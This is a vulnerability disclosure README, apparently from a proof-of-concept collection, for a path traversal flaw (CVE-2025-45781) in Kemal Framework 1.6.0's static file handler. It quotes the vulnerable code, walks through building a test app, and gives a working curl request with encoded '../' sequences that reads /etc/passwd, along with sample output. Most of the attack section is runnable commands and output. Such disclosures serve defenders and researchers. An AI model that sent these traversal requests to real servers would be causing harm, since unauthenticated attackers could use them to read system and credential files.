疑似Oday
Path Traversal Vulnerability on Kemal Framework 1.6.0
# 📂 Kemal Framework 1.6.0 Path Traversal Vulnerability (CVE-2025-45781)
## 🧩 Summary
A **Path Traversal vulnerability** exists in the `Kemal::StaticFileHandler` class of **Kemal Framework v1.6.0**. When serving static files from a user-defined `public` directory, the framework fails to sanitize malicious `../` sequences in user-supplied URIs. This allows unauthenticated attackers to access arbitrary files on the server.
## 🛠️ Affected Version
- Kemal Framework v1.6.0
## 📌 Vulnerable Code
In `src/kemal/static_file_handler.cr`:
```crystal
request_path = URI.decode(original_path)
file_path = File.join(@public_dir, request_path)
if File.exists?(file_path)
send_file(context, file_path)
end
```
No checks are performed to sanitize or reject traversal sequences (`../`), making it possible to access files outside the `@public_dir`.
## 🔥 Proof-of-Concept (PoC)
### ✅ 1. Create a New Kemal Project
```bash
mkdir kemal-test
cd kemal-test
crystal init app .
```
"This command creates a sample Crystal application that includes a shard.yml file."
---
### ✅ 2. Edit shard.yml File
"Edit the shard.yml file as follows:"
```yaml
name: kemal-test
version: 0.1.0
dependencies:
kemal:
github: kemalcr/kemal
```
---
### ✅ 3. Install the Required Packages
```bash
shards install
```
This command downloads and installs Kemal into the lib/ directory.
---
### ✅ 4. Edit src/kemal-test.cr File
Write the following content:
```crystal
require "kemal"
get "/" do
"Hello from Kemal!"
end
Kemal.config.public_folder = "./public"
Kemal.run
```
---
### ✅ 5. Create public/ directory
```bash
mkdir public
```
---
### ✅ 6. Start the Application
```bash
crystal run src/kemal-test.cr
```
Go to the following address in your browser:
```
http://localhost:3000
```
If you see "Hello from Kemal!", everything is working perfectly 🚀
---
### ✅ 7. Test the Vulnerability
```bash
curl "http://localhost:3000/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
```
If successful, the contents of /etc/passwd will be returned as shown below:
```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
```
[4.0K] /data/pocs/585c387d6ea0539499345237d7fbead1b66e91b9
└── [2.2K] README.md
0 directories, 1 file